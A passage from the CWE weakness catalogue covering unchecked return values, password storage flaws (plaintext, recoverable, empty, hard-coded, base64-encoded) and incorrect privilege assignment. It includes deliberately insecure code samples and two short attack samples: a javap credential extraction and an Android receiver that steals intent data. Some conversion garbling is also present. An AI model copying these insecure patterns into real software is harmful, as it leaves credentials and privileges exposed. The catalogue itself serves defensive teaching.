| CVE-2019-15900 | Chain: sscanf() call is used to check if a username and group exists, but the return value of sscanf() call is not checked (CWE-252), causing an uninitialized variable to be checked (CWE-457), returning success to allow authorization bypass for executing a privileged (CWE-863). https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-15900 |
| CVE-2007-3798 | Unchecked return value leads to resultant integer overflow and code execution. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3798 |
| CVE-2006-4447 | Program does not check return value when invoking functions to drop privileges, which could leave users with higher privileges than expected by forcing those functions to fail. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4447 |
| CVE-2006-2916 | Program does not check return value when invoking functions to drop privileges, which could leave users with higher privileges than expected by forcing those functions to fail. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2916 |
| CVE-2008-5183 | chain: unchecked return value can lead to NULL dereference https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5183 |
| CVE-2010-0211 | chain: unchecked return value (CWE-252) leads to free of invalid, uninitialized pointer (CWE-824). https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0211 |
| CVE-2017-6964 | Linux-based device mapper encryption program does not check the return value of setuid and setgid allowing attackers to execute code with unintended privileges. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-6964 |

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

CWE-253: Incorrect Check of Function Return Value

Weakness ID : 253

Status: Incomplete

Structure : Simple

Abstraction : Base

Description

The software incorrectly checks a return value from a function, which prevents the software from detecting errors or exceptional conditions.

Extended Description

Important and common functions will return some value about the success of its actions. This will alert the program whether or not to handle any errors caused by that function.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|---------|---|-----|--|------|
| ChildOf |  | 754 | Improper Check for Unusual or Exceptional Conditions | 1421 |
| ChildOf |  | 573 | Improper Following of Specification by Caller | 1186 |

Relevant to the view "Software Development" (CWE-699)

| Nature | Type | ID | Name | Page |
|----------|---|-----|---|------|
| MemberOf |  | 389 | Error Conditions, Return Values, Status Codes | 2039 |

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Likelihood Of Exploit

Low

Common Consequences

| Scope | Impact | Likelihood |
|---------------------------|---|------------|
| Availability Integrity | Unexpected State DoS: Crash, Exit, or Restart <i>An unexpected return value could place the system in a state that could lead to a crash or other unintended behaviors.</i> | |

Potential Mitigations

Phase: Architecture and Design

Strategy = Language Selection

Use a language or compiler that uses exceptions and requires the catching of those exceptions.

Phase: Implementation

Properly check all functions which return a value.

Phase: Implementation

When designing any function make sure you return a value or throw an exception in case of an error.

Demonstrative Examples

Example 1:

This code attempts to allocate memory for 4 integers and checks if the allocation succeeds.

Example Language: C

(bad)

```
tmp = malloc(sizeof(int) * 4);
if (tmp < 0 ) {
    perror("Failure");
    //should have checked if the call returned 0
}
```

The code assumes that only a negative return value would indicate an error, but malloc() may return a null pointer when there is an error. The value of tmp could then be equal to 0, and the error would be missed.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

| Nature | Type | ID | Name |  | Page |
|----------|---|------|--|---|------|

CWE-256: Plaintext Storage of a Password

Weakness ID : 256
Structure : Simple
Abstraction : Base

Status: Incomplete

Description

Storing a password in plaintext may result in a system compromise.

Extended Description

Password management issues occur when a password is stored in plaintext in an application's properties, configuration file, or memory. Storing a plaintext password in a configuration file allows anyone who can read the file access to the password-protected resource. In some contexts, even storage of a plaintext password in memory is considered a security risk if the password is not cleared immediately after it is used.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|---------|---|-----|--------------------------------------|------|
| ChildOf |  | 522 | Insufficiently Protected Credentials | 1123 |

Relevant to the view "Architectural Concepts" (CWE-1008)

| Nature | Type | ID | Name | Page |
|----------|---|------|--------------|------|
| MemberOf |  | 1013 | Encrypt Data | 2144 |

Relevant to the view "Software Development" (CWE-699)

| Nature | Type | ID | Name | Page |
|----------|---|-----|-------------------------------|------|
| MemberOf |  | 255 | Credentials Management Errors | 2032 |

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Likelihood Of Exploit

High

Common Consequences

| Scope | Impact | Likelihood |
|----------------|------------------------------------|------------|
| Access Control | Gain Privileges or Assume Identity | |

Potential Mitigations

Phase: Architecture and Design

Avoid storing passwords in easily accessible locations.

Phase: Architecture and Design

Consider storing cryptographic hashes of passwords as an alternative to storing in plaintext.

A programmer might attempt to remedy the password management problem by obscuring the password with an encoding function, such as base 64 encoding, but this effort does not adequately protect the password because the encoding can be detected and decoded easily.

Effectiveness = None

Demonstrative Examples

Example 1:

The following code reads a password from a properties file and uses the password to connect to a database.

Example Language: Java

(bad)

```
...
Properties prop = new Properties();
prop.load(new FileInputStream("config.properties"));
String password = prop.getProperty("password");
DriverManager.getConnection(url, usr, password);
...
```

This code will run successfully, but anyone who has access to config.properties can read the value of password. If a devious employee has access to this information, they can use it to break into the system.

Example 2:

The following code reads a password from the registry and uses the password to create a new network credential.

Example Language: Java

(bad)

```
...
String password = regKey.GetValue(passKey).toString();
NetworkCredential netCred = new NetworkCredential(username,password,domain);
...
```

This code will run successfully, but anyone who has access to the registry key used to store the password can read the value of password. If a devious employee has access to this information, they can use it to break into the system

Example 3:

The following examples show a portion of properties and configuration files for Java and ASP.NET applications. The files include username and password information but they are stored in cleartext.

This Java example shows a properties file with a cleartext username / password pair.

Example Language: Java

(bad)

```
# Java Web App ResourceBundle properties file
...
webapp.Idap.username=secretUsername
webapp.Idap.password=secretPassword
...
```

The following example shows a portion of a configuration file for an ASP.Net application. This configuration file includes username and password information for a connection to a database but the pair is stored in cleartext.

Example Language: ASP.NET

(bad)

```
...
<connectionStrings>
  <add name="ud_DEV" connectionString="connectDB=uDB; uid=db2admin; pwd=password; dbalias=uDB;"
    providerName="System.Data.Odbc" />
</connectionStrings>
...
```

Username and password information should not be included in a configuration file or a properties file in cleartext as this will allow anyone who can read the file access to the resource. If possible, encrypt this information.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

CWE-257: Storing Passwords in a Recoverable Format

Weakness ID : 257

Status: Incomplete

Structure : Simple

Abstraction : Base

Description

The storage of passwords in a recoverable format makes them subject to password reuse attacks by malicious users. In fact, it should be noted that recoverable encrypted passwords provide no significant benefit over plaintext passwords since they are subject not only to reuse by malicious

attackers but also by malicious insiders. If a system administrator can recover a password directly, or use a brute force search on the available information, the administrator can use the password on other accounts.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|---------|---|-----|--------------------------------------|------|
| ChildOf |  | 522 | Insufficiently Protected Credentials | 1123 |
| PeerOf |  | 259 | Use of Hard-coded Password | 580 |
| PeerOf |  | 259 | Use of Hard-coded Password | 580 |
| PeerOf |  | 798 | Use of Hard-coded Credentials | 1532 |

Relevant to the view "Architectural Concepts" (CWE-1008)

| Nature | Type | ID | Name | Page |
|----------|---|------|--------------|------|
| MemberOf |  | 1013 | Encrypt Data | 2144 |

Relevant to the view "Software Development" (CWE-699)

| Nature | Type | ID | Name | Page |
|----------|---|-----|-------------------------------|------|
| MemberOf |  | 255 | Credentials Management Errors | 2032 |

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Likelihood Of Exploit

High

Common Consequences

| Scope | Impact | Likelihood |
|-----------------|---|------------|
| Confidentiality | Gain Privileges or Assume Identity | |
| Access Control | <i>User's passwords may be revealed.</i> | |
| Access Control | Gain Privileges or Assume Identity | |
| | <i>Revealed passwords may be reused elsewhere to impersonate the users in question.</i> | |

Potential Mitigations

Phase: Architecture and Design

Use strong, non-reversible encryption to protect stored passwords.

Demonstrative Examples

Example 1:

Both of these examples verify a password by comparing it to a stored compressed version.

Example Language: C

(bad)

```
int VerifyAdmin(char *password) {
    if (strcmp(compress(password), compressed_password)) {
        printf("Incorrect Password!\n");
        return(0);
    }
}
```

```

    }
    printf("Entering Diagnostic Mode...\n");
    return(1);
}

```

Example Language: Java

(bad)

```

int VerifyAdmin(String password) {
    if (passwd.Equals(compress(password), compressed_password)) {
        return(0);
    }
    //Diagnostic Mode
    return(1);
}

```

Because a compression algorithm is used instead of a one way hashing algorithm, an attacker can recover compressed passwords stored in the database.

Example 2:

The following examples show a portion of properties and configuration files for Java and ASP.NET applications. The files include username and password information but they are stored in cleartext.

This Java example shows a properties file with a cleartext username / password pair.

Example Language: Java

(bad)

```

# Java Web App ResourceBundle properties file
...
webapp.ldap.username=secretUsername
webapp.ldap.password=secretPassword
...

```

The following example shows a portion of a configuration file for an ASP.Net application. This configuration file includes username and password information for a connection to a database but the pair is stored in cleartext.

Example Language: ASP.NET

(bad)

```

...
<connectionStrings>
  <add name="ud_DEV" connectionString="connectDB=uDB; uid=db2admin; pwd=password; dbalias=uDB;"
    providerName="System.Data.Odbc" />
</connectionStrings>
...

```

Username and password information should not be included in a configuration file or a properties file in cleartext as this will allow anyone who can read the file access to the resource. If possible, encrypt this information.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

| Nature | Type | ID | Name | V | Page |
|----------|------|------|--|------|------|
| MemberOf | C | 963 | SFP Secondary Cluster: Exposed Data | 888 | 2117 |
| MemberOf | C | 1348 | OWASP Top Ten 2021 Category A04:2021 - Insecure Design | 1344 | 2207 |

Notes

Maintenance

The meaning of this entry needs to be investigated more closely, especially with respect to what is meant by "recoverable."

CWE-258: Empty Password in Configuration File

Weakness ID : 258

Status: Incomplete

Structure : Simple

Abstraction : Variant

Description

Using an empty string as a password is insecure.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|---------|---|-----|--------------------------------|------|
| ChildOf |  | 521 | Weak Password Requirements | 1120 |
| ChildOf |  | 260 | Password in Configuration File | 584 |

Relevant to the view "Architectural Concepts" (CWE-1008)

| Nature | Type | ID | Name | Page |
|----------|---|------|---------------------|------|
| MemberOf |  | 1010 | Authenticate Actors | 2140 |

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Likelihood Of Exploit

High

Common Consequences

| Scope | Impact | Likelihood |
|----------------|------------------------------------|------------|
| Access Control | Gain Privileges or Assume Identity | |

Potential Mitigations

Phase: System Configuration

Passwords should be at least eight characters long -- the longer the better. Avoid passwords that are in any way similar to other passwords you have. Avoid using words that may be found in a dictionary, names book, on a map, etc. Consider incorporating numbers and/or punctuation into your password. If you do use common words, consider replacing letters in that word with numbers and punctuation. However, do not use "similar-looking" punctuation. For example, it is not a good idea to change cat to c@t, ca+, (@+, or anything similar. Finally, it is never appropriate to use an empty string as a password.

Demonstrative Examples

Example 1:

The following examples show a portion of properties and configuration files for Java and ASP.NET applications. The files include username and password information but the password is provided as an empty string.

This Java example shows a properties file with an empty password string.

Example Language: Java

(bad)

```
# Java Web App ResourceBundle properties file
...
webapp ldap.username=secretUsername
webapp ldap.password=
...
```

The following example shows a portion of a configuration file for an ASP.Net application. This configuration file includes username and password information for a connection to a database and the password is provided as an empty string.

Example Language: ASP.NET

(bad)

```
...
<connectionStrings>
<add name="ud_DEV" connectionString="connectDB=uDB; uid=db2admin; pwd=; dbalias=uDB;"
providerName="System.Data.Odbc" />
</connectionStrings>
...
```

An empty string should never be used as a password as this can allow unauthorized access to the application. Username and password information should not be included in a configuration file or a properties file in clear text. If possible, encrypt this information and avoid CWE-260 and CWE-13.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

CWE-259: Use of Hard-coded Password

Weakness ID : 259

Status: Draft

Structure : Simple

Abstraction : Variant

Description

The software contains a hard-coded password, which it uses for its own inbound authentication or for outbound communication to external components.

Extended Description

A hard-coded password typically leads to a significant authentication failure that can be difficult for the system administrator to detect. Once detected, it can be difficult to fix, so the administrator may be forced into disabling the product entirely. There are two main variations:

Inbound: the software contains an authentication mechanism that checks for a hard-coded password.

Outbound: the software connects to another system or component, and it contains hard-coded password for connecting to that component.

In the Inbound variant, a default administration account is created, and a simple password is hard-coded into the product and associated with that account. This hard-coded password is the same for each installation of the product, and it usually cannot be changed or disabled by system administrators without manually modifying the program, or otherwise patching the software. If the password is ever discovered or published (a common occurrence on the Internet), then anybody with knowledge of this password can access the product. Finally, since all installations of the software will have the same password, even across different organizations, this enables massive attacks such as worms to take place.

The Outbound variant applies to front-end systems that authenticate with a back-end service. The back-end service may require a fixed password which can be easily discovered. The programmer may simply hard-code those back-end credentials into the front-end software. Any user of that program may be able to extract the password. Client-side systems with hard-coded passwords pose even more of a threat, since the extraction of a password from a binary is usually very simple.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Likelihood Of Exploit

High

Common Consequences

| Scope | Impact | Likelihood |
|----------------|--|------------|
| Access Control | Gain Privileges or Assume Identity <i>If hard-coded passwords are used, it is almost certain that malicious users will gain access through the account in question.</i> | |

Detection Methods

Manual Analysis

This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session.

Black Box

Use monitoring tools that examine the software's process as it interacts with the operating system and the network. This technique is useful in cases when source code is unavailable, if the software was not developed by you, or if you want to verify that the build phase did not introduce any new weaknesses. Examples include debuggers that directly attach to the running process; system-call tracing utilities such as truss (Solaris) and strace (Linux); system activity monitors such as FileMon, RegMon, Process Monitor, and other Sysinternals utilities (Windows); and sniffers and protocol analyzers that monitor network traffic. Attach the monitor to the process and perform a login. Using disassembled code, look at the associated instructions and see if any of them appear to be comparing the input to a fixed string or value.

Potential Mitigations

Phase: Architecture and Design

For outbound authentication: store passwords outside of the code in a strongly-protected, encrypted configuration file or database that is protected from access by all outsiders, including other local users on the same system. Properly protect the key (CWE-320). If you cannot use encryption to protect the file, then make sure that the permissions are as restrictive as possible.

Phase: Architecture and Design

For inbound authentication: Rather than hard-code a default username and password for first time logins, utilize a "first login" mode that requires the user to enter a unique strong password.

Phase: Architecture and Design

Perform access control checks and limit which entities can access the feature that requires the hard-coded password. For example, a feature might only be enabled through the system console instead of through a network connection.

Phase: Architecture and Design

For inbound authentication: apply strong one-way hashes to your passwords and store those hashes in a configuration file or database with appropriate access control. That way, theft of the file/database still requires the attacker to try to crack the password. When receiving an incoming password during authentication, take the hash of the password and compare it to the hash that you have saved. Use randomly assigned salts for each separate hash that you generate. This increases the amount of computation that an attacker needs to conduct a brute-force attack, possibly limiting the effectiveness of the rainbow table method.

Phase: Architecture and Design

For front-end to back-end connections: Three solutions are possible, although none are complete. The first suggestion involves the use of generated passwords which are changed automatically and must be entered at given time intervals by a system administrator. These passwords will be held in memory and only be valid for the time intervals. Next, the passwords used should be limited at the back end to only performing actions valid for the front end, as opposed to having full access. Finally, the messages sent should be tagged and checksummed with time sensitive values so as to prevent replay style attacks.

Demonstrative Examples**Example 1:**

The following code uses a hard-coded password to connect to a database:

Example Language: Java

(bad)

```
...
DriverManager.getConnection(url, "scott", "tiger");
...
```

This is an example of an external hard-coded password on the client-side of a connection. This code will run successfully, but anyone who has access to it will have access to the password. Once the program has shipped, there is no going back from the database user "scott" with a password of "tiger" unless the program is patched. A devious employee with access to this information can use it to break into the system. Even worse, if attackers have access to the bytecode for application, they can use the `javap -c` command to access the disassembled code, which will contain the values of the passwords used. The result of this operation might look something like the following for the example above:

Example Language:

(attack)

```
javap -c ConnMngr.class
22: ldc #36; //String jdbc:mysql://ixne.com/rxsql
24: ldc #38; //String scott
26: ldc #17; //String tiger
```

Example 2:

The following code is an example of an internal hard-coded password in the back-end:

*Example Language: C**(bad)*

```
int VerifyAdmin(char *password) {
    if (strcmp(password, "Mew!")) {
        printf("Incorrect Password!\n");
        return(0)
    }
    printf("Entering Diagnostic Mode...\n");
    return(1);
}
```

*Example Language: Java**(bad)*

```
int VerifyAdmin(String password) {
    if (!password.equals("Mew!")) {
        return(0)
    }
    //Diagnostic Mode
    return(1);
}
```

Every instance of this program can be placed into diagnostic mode with the same password. Even worse is the fact that if this program is distributed as a binary-only distribution, it is very difficult to change that password or disable this "functionality."

Example 3:

The following examples show a portion of properties and configuration files for Java and ASP.NET applications. The files include username and password information but they are stored in cleartext.

This Java example shows a properties file with a cleartext username / password pair.

*Example Language: Java**(bad)*

```
# Java Web App ResourceBundle properties file
...
webapp.ldap.username=secretUsername
webapp.ldap.password=secretPassword
...
```

The following example shows a portion of a configuration file for an ASP.Net application. This configuration file includes username and password information for a connection to a database but the pair is stored in cleartext.

*Example Language: ASP.NET**(bad)*

```
...
<connectionStrings>
  <add name="ud_DEV" connectionString="connectDB=uDB; uid=db2admin; pwd=password; dbalias=uDB;"
    providerName="System.Data.Odbc" />
</connectionStrings>
...
```

Username and password information should not be included in a configuration file or a properties file in cleartext as this will allow anyone who can read the file access to the resource. If possible, encrypt this information.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

| Nature | Type | ID | Name | V | Page |
|----------|---|------|---|------|------|
| MemberOf |  | 254 | 7PK - Security Features | 700 | 2031 |
| MemberOf |  | 724 | OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management | 711 | 2052 |
| MemberOf |  | 753 | 2009 Top 25 - Porous Defenses | 750 | 2070 |
| MemberOf |  | 861 | The CERT Oracle Secure Coding Standard for Java (2011) Chapter 18 - Miscellaneous (MSC) | 844 | 2087 |
| MemberOf |  | 950 | SFP Secondary Cluster: Hardcoded Sensitive Data | 888 | 2112 |
| MemberOf |  | 1152 | SEI CERT Oracle Secure Coding Standard for Java - Guidelines 49. Miscellaneous (MSC) | 1133 | 2169 |
| MemberOf |  | 1353 | OWASP Top Ten 2021 Category A07:2021 - Identification and Authentication Failures | 1344 | 2210 |

Notes

Maintenance

This entry could be split into multiple variants: an inbound variant (as seen in the second demonstrative example) and an outbound variant (as seen in the first demonstrative example). These variants are likely to have different consequences, detectability, etc. More importantly, from a vulnerability theory perspective, they could be characterized as different behaviors.

CWE-260: Password in Configuration File

Weakness ID : 260

Status: Incomplete

Structure : Simple

Abstraction : Base

Description

The software stores a password in a configuration file that might be accessible to actors who do not know the password.

Extended Description

This can result in compromise of the system for which the password is used. An attacker could gain access to this file and learn the stored password or worse yet, change the password to one of their choosing.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|----------|---|-----|---|------|
| ChildOf |  | 522 | Insufficiently Protected Credentials | 1123 |
| ParentOf |  | 13 | ASP.NET Misconfiguration: Password in Configuration File | 12 |
| ParentOf |  | 258 | Empty Password in Configuration File | 578 |
| ParentOf |  | 555 | J2EE Misconfiguration: Plaintext Password in Configuration File | 1160 |

Relevant to the view "Architectural Concepts" (CWE-1008)

| Nature | Type | ID | Name | Page |
|----------|---|------|--------------|------|
| MemberOf |  | 1013 | Encrypt Data | 2144 |

Relevant to the view "Software Development" (CWE-699)

| Nature | Type | ID | Name | Page |
|----------|---|-----|-------------------------------|------|
| MemberOf |  | 255 | Credentials Management Errors | 2032 |

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Common Consequences

| Scope | Impact | Likelihood |
|----------------|------------------------------------|------------|
| Access Control | Gain Privileges or Assume Identity | |

Potential Mitigations

Phase: Architecture and Design

Avoid storing passwords in easily accessible locations.

Phase: Architecture and Design

Consider storing cryptographic hashes of passwords as an alternative to storing in plaintext.

Demonstrative Examples

Example 1:

Below is a snippet from a Java properties file.

Example Language: Java

(bad)

```
webapp ldap.username = secretUsername
webapp ldap.password = secretPassword
```

Because the LDAP credentials are stored in plaintext, anyone with access to the file can gain access to the resource.

Example 2:

The following examples show a portion of properties and configuration files for Java and ASP.NET applications. The files include username and password information but they are stored in cleartext.

This Java example shows a properties file with a cleartext username / password pair.

Example Language: Java

(bad)

```
# Java Web App ResourceBundle properties file
...
webapp.ldap.username=secretUsername
webapp.ldap.password=secretPassword
...
```

The following example shows a portion of a configuration file for an ASP.Net application. This configuration file includes username and password information for a connection to a database but the pair is stored in cleartext.

Example Language: ASP.NET

(bad)

```
...
<connectionStrings>
  <add name="ud_DEV" connectionString="connectDB=uDB; uid=db2admin; pwd=password; dbalias=uDB;"
    providerName="System.Data.Odbc" />
</connectionStrings>
...
```

Username and password information should not be included in a configuration file or a properties file in cleartext as this will allow anyone who can read the file access to the resource. If possible, encrypt this information.

Affected Resources

- File or Directory

CWE-261: Weak Encoding for Password

Weakness ID : 261
Structure : Simple
Abstraction : Base

Status: Incomplete

Description

Obscuring a password with a trivial encoding does not protect the password.

Extended Description

Password management issues occur when a password is stored in plaintext in an application's properties or configuration file. A programmer can attempt to remedy the password management problem by obscuring the password with an encoding function, such as base 64 encoding, but this effort does not adequately protect the password.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|---------|---|-----|--------------------------------|------|
| ChildOf |  | 326 | Inadequate Encryption Strength | 734 |
| ChildOf |  | 287 | Improper Authentication | 643 |

Relevant to the view "Architectural Concepts" (CWE-1008)

| Nature | Type | ID | Name | Page |
|----------|--|------|--------------|------|
| MemberOf |  | 1013 | Encrypt Data | 2144 |

Relevant to the view "Software Development" (CWE-699)

| Nature | Type | ID | Name | Page |
|----------|---|-----|-------------------------------|------|
| MemberOf |  | 255 | Credentials Management Errors | 2032 |
| MemberOf |  | 310 | Cryptographic Issues | 2035 |

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Common Consequences

| Scope | Impact | Likelihood |
|----------------|------------------------------------|------------|
| Access Control | Gain Privileges or Assume Identity | |

Potential Mitigations

Passwords should be encrypted with keys that are at least 128 bits in length for adequate security.

Demonstrative Examples

Example 1:

The following code reads a password from a properties file and uses the password to connect to a database.

Example Language: Java

(bad)

```
...
Properties prop = new Properties();
prop.load(new FileInputStream("config.properties"));
String password = Base64.decode(prop.getProperty("password"));
DriverManager.getConnection(url, usr, password);
```

...

This code will run successfully, but anyone with access to config.properties can read the value of password and easily determine that the value has been base 64 encoded. If a devious employee has access to this information, they can use it to break into the system.

Example 2:

The following code reads a password from the registry and uses the password to create a new network credential.

Example Language: C#

(bad)

```
...
string value = regKey.GetValue(passKey).ToString();
byte[] decVal = Convert.FromBase64String(value);
NetworkCredential netCred = new NetworkCredential(username, decVal.ToString(), domain);
...
```

This code will run successfully, but anyone who has access to the registry key used to store the password can read the value of password. If a devious employee has access to this information, they can use it to break into the system.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

| Nature | Type | ID | Name | V | Page |
|----------|------|------|---|------|------|
| MemberOf | C | 254 | 7PK - Security Features | 700 | 2031 |
| MemberOf | C | 729 | OWASP Top Ten 2004 Category A8 - Insecure Storage | 711 | 2055 |
| MemberOf | C | 959 | SFP Secondary Cluster: Weak Cryptography | 888 | 2115 |
| MemberOf | C | 1346 | OWASP Top Ten 2021 Category A02:2021 - Cryptographic Failures | 1344 | 2204 |

Notes

Other

The "crypt" family of functions uses weak cryptographic algorithms and should be avoided. It may be present in some projects for compatibility.

CWE-262: Not Using Password Aging

Weakness ID : 262

Status: Draft

Structure : Simple

Abstraction : Base

Description

If no mechanism is in place for managing password aging, users will have no incentive to update passwords in a timely manner.

Extended Description

Security experts have often recommended that users change their passwords regularly and avoid reusing passwords. Although this can be an effective mitigation, if the expiration window is too short, it can cause users to generate poor or predictable passwords. As such, it is important to discourage creating similar passwords. It is also useful to have a password aging mechanism that notifies users when passwords are considered old and requests that they replace them with new, strong passwords. Companion documentation which stresses how important this practice is can help users understand and better support this approach.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-263: Password Aging with Long Expiration

| | |
|---------------------------|-----------------------|
| Weakness ID : 263 | Status : Draft |
| Structure : Simple | |
| Abstraction : Base | |

Description

Allowing password aging to occur unchecked can result in the possibility of diminished password integrity.

Extended Description

Just as neglecting to include functionality for the management of password aging is dangerous, so is allowing password aging to continue unchecked. Passwords must be given a maximum life span, after which a user is required to update with a new and different password.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |

CWE-266: Incorrect Privilege Assignment

| | |
|---------------------------|-----------------------|
| Weakness ID : 266 | Status : Draft |
| Structure : Simple | |
| Abstraction : Base | |

Description

A product incorrectly assigns a privilege to a particular actor, creating an unintended sphere of control for that actor.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Weakness Ordinalities

Resultant :

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Common Consequences

| Scope | Impact | Likelihood |
|----------------|---|------------|
| Access Control | Gain Privileges or Assume Identity <i>A user can access restricted functionality and/or sensitive information that may include administrative functionality and user accounts.</i> | |

Potential Mitigations

Phase: Architecture and Design

Phase: Operation

Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.

Phase: Architecture and Design

Phase: Operation

Strategy = Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Demonstrative Examples

Example 1:

The following example demonstrates the weakness.

Example Language: C

(bad)

```
seteuid(0);
/* do some stuff */
seteuid(getuid());
```

Example 2:

The following example demonstrates the weakness.

Example Language: Java

(bad)

```
AccessController.doPrivileged(new PrivilegedAction() {
    public Object run() {
        // privileged code goes here, for example:
        System.loadLibrary("awt");
        return null;
        // nothing to return
    }
})
```

Example 3:

This application sends a special intent with a flag that allows the receiving application to read a data file for backup purposes.

Example Language: Java

(bad)

```
Intent intent = new Intent();
intent.setAction("com.example.BackupUserData");
intent.setData(file_uri);
intent.addFlags(FLAG_GRANT_READ_URI_PERMISSION);
sendBroadcast(intent);
```

Example Language: Java

(attack)

```
public class CallReceiver extends BroadcastReceiver {
    @Override
    public void onReceive(Context context, Intent intent) {
        Uri userData = intent.getData();
        stealUserData(userData);
    }
}
```

Any malicious application can register to receive this intent. Because of the FLAG_GRANT_READ_URI_PERMISSION included with the intent, the malicious receiver code can read the user's data.

Observed Examples

| Reference | Description |
|----------------------|--|
| CVE-1999-1193 | untrusted user placed in unix "wheel" group https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-1193 |
| CVE-2005-2741 | Product allows users to grant themselves certain rights that can be used to escalate privileges. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2741 |
| CVE-2005-2496 | Product uses group ID of a user instead of the group, causing it to run with different privileges. This is resultant from some other unknown issue. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2496 |
| CVE-2004-0274 | Product mistakenly assigns a particular status to an entity, leading to increased privileges. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0274 |

CWE-267: Privilege Defined With Unsafe Actions

| | |
|---------------------------|----------------------------|
| Weakness ID : 267 | Status : Incomplete |
